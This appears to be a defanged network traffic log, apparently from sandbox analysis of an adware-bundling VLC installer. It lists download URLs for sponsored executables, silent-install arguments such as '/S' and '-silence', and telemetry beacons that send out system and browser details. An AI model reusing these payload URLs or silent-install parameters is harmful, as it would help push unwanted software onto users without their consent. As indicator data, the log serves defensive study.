hxxp://d2wy0yopxw6nne.cloudfront.net/images/Tokyo/tokyo_sprite_full.png	54.230.203.3
hxxp://installer.betterinstaller.com/installer/ajax
hxxp://d2wy0yopxw6nne.cloudfront.net/sponsored/speedbit/eula-youtubeaccelerator.html	54.230.203.3
hxxp://d2wy0yopxw6nne.cloudfront.net/sponsored/mystartsearch/eula-mystartsearch.html	54.230.203.3
hxxp://d2wy0yopxw6nne.cloudfront.net/sponsored/sourceapp/eula-sourceapp.html	54.230.203.3
hxxp://www-google-analytics.l.google.com/ga.js
hxxp://www-google-analytics.l.google.com/r/__utm.gif?utmwv=5.6.2&utms=1&utmn=1844808200&utmhn=bi.bisrv.com&utmhid=114691349&utmr=-&utmp=Installer_Init&utmht=1423621777750&utmac=UA-31676879-1&utmcc=__utma=1.1387656045.1423621778.1423621778.1423621778.1;+__utmz=1.1423621778.1.1.utmcsr=(direct)\|utmccn=(direct)\|utmcmd=(none);&utmjid=1665450451&utmredir=1&utmu=qhCAAAAAAAABAAAAAAAAAAAE~
hxxp://mirror.frogdownload.com/software_files/vlc/vlc_48.png
hxxp://mirror.frogdownload.com/software_files/vlc/2_0_2/vlc-2.0.2-win32.exe
hxxp://installer.betterinstaller.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=dffadf6cea0603499f5ce29578e19940&uniqid=f730160cf51d9436dafdc0d7e73723fb&affiliate_id=network_marimedia_1&software_id=vlcmediaplayervfps&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=598ff6455fc9cb2614347b8534559781&tokyo_csrf2_timestamp=1423621774&slot_number=1&index_in_screen=1&index_in_session=1&display_height=80&0.21706834637139494
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=dffadf6cea0603499f5ce29578e19940&uniqid=f730160cf51d9436dafdc0d7e73723fb&affiliate_id=network_marimedia_1&software_id=vlcmediaplayervfps&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=598ff6455fc9cb2614347b8534559781&tokyo_csrf2_timestamp=1423621774&slot_number=1&index_in_screen=1&index_in_session=1&0.26086897661093067
hxxp://installer.betterinstaller.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=dffadf6cea0603499f5ce29578e19940&uniqid=f730160cf51d9436dafdc0d7e73723fb&affiliate_id=network_marimedia_1&software_id=vlcmediaplayervfps&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=598ff6455fc9cb2614347b8534559781&tokyo_csrf2_timestamp=1423621774&slot_number=2&index_in_screen=1&index_in_session=2&display_height=170&0.4286163873031979
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=dffadf6cea0603499f5ce29578e19940&uniqid=f730160cf51d9436dafdc0d7e73723fb&affiliate_id=network_marimedia_1&software_id=vlcmediaplayervfps&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=598ff6455fc9cb2614347b8534559781&tokyo_csrf2_timestamp=1423621774&slot_number=2&index_in_screen=1&index_in_session=2&0.5419537246707162
hxxp://installer.betterinstaller.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=dffadf6cea0603499f5ce29578e19940&uniqid=f730160cf51d9436dafdc0d7e73723fb&affiliate_id=network_marimedia_1&software_id=vlcmediaplayervfps&sponsored_id=mystartsearch&tokyo_csrf2_key=598ff6455fc9cb2614347b8534559781&tokyo_csrf2_timestamp=1423621774&slot_number=3&index_in_screen=1&index_in_session=3&display_height=50&0.9178325560615432
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=dffadf6cea0603499f5ce29578e19940&uniqid=f730160cf51d9436dafdc0d7e73723fb&affiliate_id=network_marimedia_1&software_id=vlcmediaplayervfps&sponsored_id=mystartsearch&tokyo_csrf2_key=598ff6455fc9cb2614347b8534559781&tokyo_csrf2_timestamp=1423621774&slot_number=3&index_in_screen=1&index_in_session=3&0.4806031552958285
hxxp://installer.betterinstaller.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=dffadf6cea0603499f5ce29578e19940&uniqid=f730160cf51d9436dafdc0d7e73723fb&affiliate_id=network_marimedia_1&software_id=vlcmediaplayervfps&sponsored_id=appshat_madness&tokyo_csrf2_key=598ff6455fc9cb2614347b8534559781&tokyo_csrf2_timestamp=1423621774&slot_number=4&index_in_screen=1&index_in_session=4&display_height=90&0.6827485945168448
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=dffadf6cea0603499f5ce29578e19940&uniqid=f730160cf51d9436dafdc0d7e73723fb&affiliate_id=network_marimedia_1&software_id=vlcmediaplayervfps&sponsored_id=appshat_madness&tokyo_csrf2_key=598ff6455fc9cb2614347b8534559781&tokyo_csrf2_timestamp=1423621774&slot_number=4&index_in_screen=1&index_in_session=4&0.6190891784801331
hxxp://installer.betterinstaller.com/downloader/network_marimedia_1/vlcmediaplayervfps/c6f349e09f7b3c4993073c407a485e5f?muid=96D78F35E7B7EA4FC32736D428DF43B4&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=c6f349e09f7b3c4993073c407a485e5f&muid=96D78F35E7B7EA4FC32736D428DF43B4
hxxp://installer.betterinstaller.com/installer/ajax-bidl?offers[youtubeaccelerator][exec_args]=/S /MAG=smtyc &offers[youtubeaccelerator][offer_indexes][slot_number]=1&offers[youtubeaccelerator][offer_indexes][index_in_screen]=1&offers[youtubeaccelerator][offer_indexes][index_in_session]=1&offers[sourceapp_b2b][exec_args]=/np 1 /is smp1ua &offers[sourceapp_b2b][offer_indexes][slot_number]=2&offers[sourceapp_b2b][offer_indexes][index_in_screen]=1&offers[sourceapp_b2b][offer_indexes][index_in_session]=2&offers[mystartsearch][exec_args]=-silence -ptid=smt &offers[mystartsearch][offer_indexes][slot_number]=3&offers[mystartsearch][offer_indexes][index_in_screen]=1&offers[mystartsearch][offer_indexes][index_in_session]=3&offers[appshat_madness][exec_args]=/S /affid=appshatmadness /bi_sponsored_sub_process /run_bi&offers[appshat_madness][offer_indexes][slot_number]=4&offers[appshat_madness][offer_indexes][index_in_screen]=1&offers[appshat_madness][offer_indexes][index_in_session]=4&uid_orig=dffadf6cea0603499f5ce29578e19940&uid=c6f349e09f7b3c4993073c407a485e5f&tokyo_csrf_key=6c4266d9c815f54e8f88b32bc1f5ba01&tokyo_csrf_timestamp=1423621823&ffInstalled=false&dfz=false&affid=network_marimedia_1&sid=vlcmediaplayervfps&country=UA&hostBrowser=ff&unique_id=f730160cf51d9436dafdc0d7e73723fb
hxxp://installer.betterinstaller.com/downloader/network_marimedia_1/vlcmediaplayervfps/fc5ae9ef92544d4d9ad600d2a201e613?muid=96D78F35E7B7EA4FC32736D428DF43B4&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=fc5ae9ef92544d4d9ad600d2a201e613&muid=96D78F35E7B7EA4FC32736D428DF43B4
hxxp://installer.betterinstaller.com/installer/ajax-bidl?offers[youtubeaccelerator][exec_args]=/S /MAG=smtyc &offers[youtubeaccelerator][offer_indexes][slot_number]=1&offers[youtubeaccelerator][offer_indexes][index_in_screen]=1&offers[youtubeaccelerator][offer_indexes][index_in_session]=1&offers[sourceapp_b2b][exec_args]=/np 1 /is smp1ua &offers[sourceapp_b2b][offer_indexes][slot_number]=2&offers[sourceapp_b2b][offer_indexes][index_in_screen]=1&offers[sourceapp_b2b][offer_indexes][index_in_session]=2&offers[mystartsearch][exec_args]=-silence -ptid=smt &offers[mystartsearch][offer_indexes][slot_number]=3&offers[mystartsearch][offer_indexes][index_in_screen]=1&offers[mystartsearch][offer_indexes][index_in_session]=3&offers[appshat_madness][exec_args]=/S /affid=appshatmadness /bi_sponsored_sub_process &offers[appshat_madness][offer_indexes][slot_number]=4&offers[appshat_madness][offer_indexes][index_in_screen]=1&offers[appshat_madness][offer_indexes][index_in_session]=4&uid_orig=dffadf6cea0603499f5ce29578e19940&uid=fc5ae9ef92544d4d9ad600d2a201e613&tokyo_csrf_key=9f94a8e8d07f6cc9a65db37183cf1cbf&tokyo_csrf_timestamp=1423621824&ffInstalled=false&dfz=false&affid=network_marimedia_1&sid=vlcmediaplayervfps&country=UA&hostBrowser=ff&unique_id=f730160cf51d9436dafdc0d7e73723fb
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=dffadf6cea0603499f5ce29578e19940&uniqid=f730160cf51d9436dafdc0d7e73723fb&affiliate_id=network_marimedia_1&software_id=vlcmediaplayervfps&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=24ec7458ac0d629426e271fa18c42ac7&tokyo_csrf2_timestamp=1423621824&slot_number=1&index_in_screen=1&index_in_session=1&0.9208923050508203
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=dffadf6cea0603499f5ce29578e19940&uniqid=f730160cf51d9436dafdc0d7e73723fb&affiliate_id=network_marimedia_1&software_id=vlcmediaplayervfps&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=24ec7458ac0d629426e271fa18c42ac7&tokyo_csrf2_timestamp=1423621824&slot_number=2&index_in_screen=1&index_in_session=2&0.18158201121154166
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=dffadf6cea0603499f5ce29578e19940&uniqid=f730160cf51d9436dafdc0d7e73723fb&affiliate_id=network_marimedia_1&software_id=vlcmediaplayervfps&sponsored_id=appshat_madness&tokyo_csrf2_key=24ec7458ac0d629426e271fa18c42ac7&tokyo_csrf2_timestamp=1423621824&slot_number=4&index_in_screen=1&index_in_session=4&0.7891041432425838
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=dffadf6cea0603499f5ce29578e19940&uniqid=f730160cf51d9436dafdc0d7e73723fb&affiliate_id=network_marimedia_1&software_id=vlcmediaplayervfps&sponsored_id=mystartsearch&tokyo_csrf2_key=24ec7458ac0d629426e271fa18c42ac7&tokyo_csrf2_timestamp=1423621824&slot_number=3&index_in_screen=1&index_in_session=3&0.06155158010526135
hxxp://d2otsfra4otprh.cloudfront.net/mag/ytaiesmt_smtyc_setup.exe	54.230.202.46
hxxp://a1049.d.akamai.net/sd?is=sm
hxxp://d2otsfra4otprh.cloudfront.net/mirror/mystartsearch/default/setup.exe	54.230.202.46
hxxp://d2otsfra4otprh.cloudfront.net/mirror/nerocrossrider/appshat_generic.exe	54.230.202.46
hxxp://installer.betterinstaller.com/pinger?event_type=install_start&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=dffadf6cea0603499f5ce29578e19940&uniqid=f730160cf51d9436dafdc0d7e73723fb&affiliate_id=network_marimedia_1&software_id=vlcmediaplayervfps&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=24ec7458ac0d629426e271fa18c42ac7&tokyo_csrf2_timestamp=1423621824&slot_number=1&index_in_screen=1&index_in_session=1&0.38661388102771715
hxxp://installer.betterinstaller.com/pinger?event_type=install_fail&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=dffadf6cea0603499f5ce29578e19940&uniqid=f730160cf51d9436dafdc0d7e73723fb&affiliate_id=network_marimedia_1&software_id=vlcmediaplayervfps&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=24ec7458ac0d629426e271fa18c42ac7&tokyo_csrf2_timestamp=1423621824&slot_number=1&index_in_screen=1&index_in_session=1&0.03873307585558067
hxxp://installer.betterinstaller.com/pinger?event_type=install_start&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=dffadf6cea0603499f5ce29578e19940&uniqid=f730160cf51d9436dafdc0d7e73723fb&affiliate_id=network_marimedia_1&software_id=vlcmediaplayervfps&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=24ec7458ac0d629426e271fa18c42ac7&tokyo_csrf2_timestamp=1423621824&slot_number=2&index_in_screen=1&index_in_session=2&0.40309789961284004
hxxp://sourceapp.info/mg?alpha=LyMfDU83Zi0LWC8mMCdAEGpdHkpxMBsxD1QuQgoReicyWwpsHEh2VCoVdgkYcDQHLDYtJ2wLe0JTUyMvXnd Cks1U15gTXoKDw1pRXAwN0BtPxlcEzkmSmxPWU0dUlMpckMGSnpfH2YhLWEDCx5zNRpYMy9DKEwAcHgOUBx7YD5cNEEhVxRJdHoPAhhSKWliR2o7DwFVNCVcJBEKQBxKBwATDXYv
hxxp://sourceapp.info/mg?alpha=LyMfDU9nGSshDG1hMCdALmdMAE8vZR18Ol45aE1VKnNeb094LQJ/V1wXHnloBzQHX0FbJ3J+CTdQSFQqPCslADpXdANCRH8+QzZrVi9y
hxxp://sourceapp.info/mg?alpha=NRwvDGQuBk4OHnckACZrClVtH2FrSkI TAUVEQ==
hxxp://sourceapp.info/fp?alpha=PBVAC3llGyo3YzJMbyF2PVETBnk8SVZ6OBsUARQlOwFNCz8+ZDV6Y0tVWg4pfXdAXHchZ1h4TT1hZyNuJEdOf31RZgYTCmtMJRhvGUE7BmZ/FENHJysNF398QntASWw5QQEffWxvSXQVO1JcECtmBk1fBj1rLg0mIRMRVXlrA2IGaS9QU1UqcExQHigUBT5lay8JVl10OkEdZ3xLa0QceGtNDB54eWhAbRE3Rw4PODMEVQxRLDcsH2l9HnEPMGweZUMfNkJRTyEyFQlZdRVWJhkfCh8UGHEnEhV2eEp9QktzawdAEBswNxQiUH1HKFh+NV0RC0dSLy0AOCQUE215fAVlXwIjFwoXexlMUBNdSBJHeH0LDEdHVCMTEWp4Sn1LO2dJQ25pCGtBZRUoWFJv
hxxp://sourceapp.info/ii?alpha=PBVAC3kgLV14O3wObyF2PVETBnk8SUwjdAkmVBo8bkkKTDwpZCMiUnwECXxoIBUcGFB+GnoEOSASFElvO149CxFQFAASf2xfD00hAURZJiY+CAMLM2lHGAJ+Pg5AT2Y7WWgYfht0RAtmSEoue1xhHkIscU5gXw0/VRUUJHlkBjEIGRQaABd+aFdWDDJBFShneHwMRlszfkVDBTsVdhscLXoYQ18pfz0VK2V8CDoAKWAdRUAMPmMuFzomFhNWeW4VY3dQARpndGkyChJHbBUYUTwlKlYBGTk6FhFqKxM/VBYmfBFeEAEwOgIiVGEBGB1POV0RAUJ/cykZW2JMRwIsehljVV4OB3wHbyscFE11H0smb2t4F0dEIiwQFGc6HzkEEDZvVFxMLzJ5Sm0WIFdKUms8UhsJCEk9eVViY0sBTwpnGXheW0J0RkY7OApPGHIGGDJzJXxJSxMze1YYfnlWekJLc2cVER18Y2xAdxI4XV4MImACT1kBKjdqBF1dVEAVOiVQWnZIA1VXBxk0CxJLfRwFVXUYDWo/SlFzU05nDR89GxowLBFCTnFofwpwFgxdD1JdP1E=
hxxp://sourceapp.info/if?alpha=PBVAC3ltNUReNH0RbyF2PVETBnk8SUwjdAkmVBo8bkkKTDwpZCMiUnwECXxoIBUcGFB+GnoEOSASFElvO149CxFQFAASf2xfD00hAURZJiY+CAMLM2lHGAJ+Pg5AT2Y7WWgYfht0RAtmSEoue1xhHkIscU5gXw0/VRUUJHlsEzFoVwdLXm4hNA0tV3AcdnE8Py1RUAdjJxMDMXRIe0NMezpGAhx8d2tDfxI+VkpZfTZxBwEIZTZmSWd/UURBO2wWTklQNBoDF2FtV18MLEALN2N+fAhQDXB1bEokdC8YVBYmfg1cSHEOMB4pSHkUQB0uZB4XB0EqPG1PbmIebA48ex9/VFkWB2VOITkWEU08RwVWJyQoXAUZfHVORCtpNGtSDzB4B0VCInljUHsJP0lbCyhhEwYLR3o6fVwrYEJCDH8zUD0VD0RIQUsuMx5be3IXSW8mI24RIwR8bkVBZxoOKgYcJiNSQltxbX8ef1czHkpcbm0KRUIEPGE4VGotExFdajlKOQ0FUBYIF35nTlIYeAQYUBg8L0sTRjVMbVImOx9rJBAnfgFNQWwKeSMOdEdHKFRrOxMxC0NlMHtHEzwpVGZg
hxxp://installer.betterinstaller.com/pinger?event_type=install_fail&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=dffadf6cea0603499f5ce29578e19940&uniqid=f730160cf51d9436dafdc0d7e73723fb&affiliate_id=network_marimedia_1&software_id=vlcmediaplayervfps&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=24ec7458ac0d629426e271fa18c42ac7&tokyo_csrf2_timestamp=1423621824&slot_number=2&index_in_screen=1&index_in_session=2&0.580118421183196
hxxp://xa.xingcloud.com/v4/sof-installer/535559167_198339_B48A115F?action1=xa.geoip&action2=visit&action3=smt.visit.mystartsearch&update1=ref,smt&update2=identifier,installer&update3=version,6.3.76.1518&update4=nation,us&update5=language,en	65.255.35.144
hxxp://installer.betterinstaller.com/pinger?event_type=install_start&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=dffadf6cea0603499f5ce29578e19940&uniqid=f730160cf51d9436dafdc0d7e73723fb&affiliate_id=network_marimedia_1&software_id=vlcmediaplayervfps&sponsored_id=mystartsearch&tokyo_csrf2_key=24ec7458ac0d629426e271fa18c42ac7&tokyo_csrf2_timestamp=1423621824&slot_number=3&index_in_screen=1&index_in_session=3&0.7820844035045635
hxxp://www.inipegcc.com/infv3/index/2606/bnd/6.3.76.1518/7a9c839b08544f0d77986f6e82d16b3f	50.23.120.56
hxxp://www.inipegcc.com/files/zip_r3/2606_ba3a47c5781b0c9bb6f586b6519791f6/1.zip	50.23.120.56
hxxp://xa.xingcloud.com/v4/sof-installer/535559167_198339_B48A115F?action=smt.dlzip1.mystartsearch.finish,5	65.255.35.144
hxxp://log.very911.com/install.gif?bundle=mystartsearch&ptid=smt&uid=535559167_198339_B48A115F	184.173.191.224
hxxp://xa.xingcloud.com/v4/sof-installer/535559167_198339_B48A115F?action=smt.installer.mystartsearch.regok	65.255.35.144
hxxp://download.dynect.mozilla.net/?product=firefox-34.0.5-complete&os=win&lang=en-US
hxxp://www.google.com/	173.194.113.212
hxxp://www.google.com.ua/?gfe_rd=cr&ei=2r7aVNnhIYqu8wfVqoDIBw	173.194.113.215
hxxp://a1284.g.akamai.net/pub/firefox/releases/34.0.5/update/win32/en-US/firefox-34.0.5.complete.mar
hxxp://xa.xingcloud.com/v4/sof-installer/535559167_198339_B48A115F?action=smt.installer.mystartsearch.nt.ff.tab	65.255.35.144
hxxp://xa.xingcloud.com/v4/sof-installer/535559167_198339_B48A115F?action=smt.installer.mystartsearch.finish	65.255.35.144
hxxp://redirector.c.pack.google.com/edgedl/update2/1.3.26.9/GoogleUpdateSetup.exe
hxxp://r2.sn-3c27ln7y.c.pack.google.com/edgedl/update2/1.3.26.9/GoogleUpdateSetup.exe?cms_redirect=yes&expire=1423636265&ip=193.138.244.231&ipbits=0&mm=28&ms=nvh&mt=1423621511&mv=u&pl=22&shardbypass=yes&sparams=expire,ip,ipbits,mm,ms,mv,pl,shardbypass&signature=3C42CDDC5D19E4AD1F55A6A948D1E9049D9B0F73.6082589730D3517F5AD5BC3BAE81AC2BC8B04FEC&key=cms1
hxxp://xa.xingcloud.com/v4/sof-installer/535559167_198339_B48A115F?action=smt.installer.mystartsearch.ds	65.255.35.144
hxxp://xa.xingcloud.com/v4/sof-installer/535559167_198339_B48A115F?action=smt.installer.mystartsearch.hp	65.255.35.144
hxxp://www.inisxriy.com/infv3/index/2606/3rd/6.3.76.1518/37f90e7172ce364049fd177205bf4b1d	50.23.120.57
hxxp://www.inisxriy.com/files/zip_r3/2606_ecd79b66f49d1d1c707187ca5bffb0b3/2.zip	50.23.120.57
hxxp://xa.xingcloud.com/v4/sof-installer/535559167_198339_B48A115F?action=smt.installer.mystartsearch.wpm	65.255.35.144
hxxp://xa.xingcloud.com/v4/sof-installer/535559167_198339_B48A115F?action=smt.installer.mystartsearch.ient	65.255.35.144
hxxp://xa.xingcloud.com/v4/sof-windowspm/?action0=xa.geoip&action1=visit&action2=install&update0=ref,wpmvt&update1=nation,us&update2=language,en	65.255.35.144
hxxp://www.inifkhjr.com/files/third/2015/01/16/172511/350/XTab_4.0.2.1716.exe	50.23.120.54
hxxp://xa.xingcloud.com/v4/sof-windowspm/?action=visit.heartbeat.wpmvt&update3=version,20.0.0.1714	65.255.35.144
hxxp://xa.xingcloud.com/v4/sof-windowspm/?action=visit.heartbeat.wpmvt	65.255.35.144
hxxp://installer.betterinstaller.com/pinger?event_type=install_complete&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=dffadf6cea0603499f5ce29578e19940&uniqid=f730160cf51d9436dafdc0d7e73723fb&affiliate_id=network_marimedia_1&software_id=vlcmediaplayervfps&sponsored_id=mystartsearch&tokyo_csrf2_key=24ec7458ac0d629426e271fa18c42ac7&tokyo_csrf2_timestamp=1423621824&slot_number=3&index_in_screen=1&index_in_session=3&0.6020630595223312
hxxp://installer.betterinstaller.com/pinger?event_type=install_start&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=dffadf6cea0603499f5ce29578e19940&uniqid=f730160cf51d9436dafdc0d7e73723fb&affiliate_id=network_marimedia_1&software_id=vlcmediaplayervfps&sponsored_id=appshat_madness&tokyo_csrf2_key=24ec7458ac0d629426e271fa18c42ac7&tokyo_csrf2_timestamp=1423621824&slot_number=4&index_in_screen=1&index_in_session=4&0.4291161167861324
hxxp://cds.c5z6s5a3.hwcdn.net/smt2b/all/hat/row/setup.exe
hxxp://errors.crossrider.com/utility.gif?error=start&report=mini_s&ver=820&action=na&ms_vr=3&clock=0&rnd=22850	208.85.150.249
hxxp://errors.crossrider.com/utility.gif?report=fdata&f=3&c=820&i=10&n=ms_started&rnd=10626	208.85.150.249
hxxp://errors.crossrider.com/utility.gif?report=fdata&f=3&c=820&i=20&n=ms_start_download&rnd=21455	208.85.150.249
hxxp://cds.c5z6s5a3.hwcdn.net/smt2b/all/hat/row/setup.exe_a
hxxp://cds.c5z6s5a3.hwcdn.net/smt2b/all/hat/row/setup.exe_b
hxxp://cds.c5z6s5a3.hwcdn.net/smt2b/all/hat/row/setup.exe_e
hxxp://cds.c5z6s5a3.hwcdn.net/smt2b/all/hat/row/setup.exe_c
hxxp://cds.c5z6s5a3.hwcdn.net/smt2b/all/hat/row/setup.exe_d
hxxp://errors.crossrider.com/utility.gif?report=fdata&f=3&c=820&i=30&n=ms_download_success&rnd=10606	208.85.150.249
hxxp://errors.crossrider.com/utility.gif?report=fdata&f=3&c=820&i=35&n=ms_about_to_exc&rnd=31211	208.85.150.249
hxxp://errors.crossrider.com/utility.gif?error=mem_strt&report=mini_s&ver=820&action=na&ms_vr=3&clock=3572&rnd=18345	208.85.150.249
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000820&i=100&n=init_start_funnel_step_name&rnd=1423621888
hxxp://ipgeoapi.com/	54.243.70.214
hxxp://s3-website-us-east-1.amazonaws.com/installer.gif?action=started&app=65743&appver=0&ver=1_36_01_22&version_date=15-02-10&bic=BBFE2B1E132147DEAB3E6E2BB23A4FA7IE&verifier=fc8e5e54143a4ed9b899fe7618a763a3&upi=d5d8d8a61601751d467a5854a16ce35a&procid=AD256D601B8945B988162FB4AAFBAEE7PI&srcid=000820&subid=0&zdata=appshatmadness&browser=ie&browserver=10&default=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_23&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=85899350025&asw=0&asw2=1073750533&asw3=-2147483648&asw4=0&crtnm=ClashProject&mdat=&procstarttime=1423621888&procruntime=3&rnd=1423621891
hxxp://cds.c5z6s5a3.hwcdn.net/monetization.gif?event=3&ibic=BBFE2B1E132147DEAB3E6E2BB23A4FA7IE&verifier=fc8e5e54143a4ed9b899fe7618a763a3&campaign=000820&country=ua&app=65743&os=7(64bit)&defbro=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&starttime=1423621888&asw=0_1073750533_-2147483648_0&browser=ff&rnd=1423621888
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000820&i=200&n=init_end_funnel_step_name&rnd=1423621891
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000820&i=300&n=deploy_start_funnel_step_name&rnd=1423621891
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000820&i=400&n=deploy_verifier_start_funnel_step_name&rnd=1423621893
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000820&i=500&n=deploy_notification_start_funnel_step_name&rnd=1423621893
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000820&i=600&n=deploy_omaha_start_funnel_step_name&rnd=1423621893
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000820&i=700&n=deploy_ch_start_funnel_step_name&rnd=1423621894
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000820&i=800&n=deploy_nova_start_funnel_step_name&rnd=1423621894
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000820&i=900&n=deploy_ff_start_funnel_step_name&rnd=1423621894
hxxp://xa.xingcloud.com/v4/sof-ient/535559167_198339_B48A115F?action0=xa.geoip&action2=visit&update0=ref,smt&update1=nation,us&update2=language,en&update3=version,2.8.8.28&update4=chptid,smt	65.255.35.144
hxxp://xa.xingcloud.com/v4/sof-ient/535559167_198339_B48A115F?action1=install.smt	65.255.35.144
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000820&i=950&n=deploy_nova_ie_start_funnel_step_name&rnd=1423621896
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000820&i=1000&n=deploy_ie_start_funnel_step_name&rnd=1423621896
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000820&i=1100&n=deploy_updater_start_funnel_step_name&rnd=1423621896
hxxp://up.soft365.com/Fan/rebirth?uid=535559167_198339_B48A115F&ptid=smt&ver=4.0.1.1716&dname=mystartsearch	174.36.247.67
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000820&i=1200&n=deploy_watchdog_start_funnel_step_name&rnd=1423621897
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000820&i=10000&n=deploy_end_funnel_step_name&rnd=1423621898
hxxp://s3-website-us-east-1.amazonaws.com/installer.gif?action=finished&app=65743&appver=&ver=1_36_01_22&version_date=15-02-10&bic=BBFE2B1E132147DEAB3E6E2BB23A4FA7IE&verifier=fc8e5e54143a4ed9b899fe7618a763a3&upi=d5d8d8a61601751d467a5854a16ce35a&procid=AD256D601B8945B988162FB4AAFBAEE7PI&srcid=000820&subid=0&zdata=appshatmadness&browser=ie&browserver=10&default=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_23&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=85899350025&asw=0&asw2=1073750533&asw3=-2147483648&asw4=0&crtnm=ClashProject&ieprofiles=na&chprofiles=na&ffprofiles=1&procstarttime=1423621888&procruntime=11&rnd=1423621899
hxxp://s3-website-us-east-1.amazonaws.com/apps.gif?action=install&app=65743&appver=&ver=1_36_01_22&version_date=15-02-10&bic=BBFE2B1E132147DEAB3E6E2BB23A4FA7IE&verifier=fc8e5e54143a4ed9b899fe7618a763a3&upi=d5d8d8a61601751d467a5854a16ce35a&procid=AD256D601B8945B988162FB4AAFBAEE7PI&srcid=000820&subid=0&zdata=appshatmadness&browser=ie&browserver=10&default=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&installtime=1423621888&lifetime=0&silent=1&crtnm=ClashProject&procstarttime=1423621888&procruntime=11&rnd=1423621899
hxxp://cds.c5z6s5a3.hwcdn.net/monetization.gif?event=4&ibic=BBFE2B1E132147DEAB3E6E2BB23A4FA7IE&verifier=fc8e5e54143a4ed9b899fe7618a763a3&campaign=000820&country=ua&app=65743&os=7(64bit)&defbro=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&starttime=1423621888&asw=0_1073750533_-2147483648_0&browser=ff&rnd=1423621888
hxxp://errors.crossrider.com/utility.gif?error=done_mem_0&report=mini_s&ver=820&action=na&ms_vr=3&clock=16015&rnd=6371	208.85.150.249
hxxp://bigspeedpro.com/webplayer/appshat/config.json
hxxp://appshat.com/images/64x64.ico
hxxp://appshat.com/images/16x16.ico
hxxp://appshat.com/home
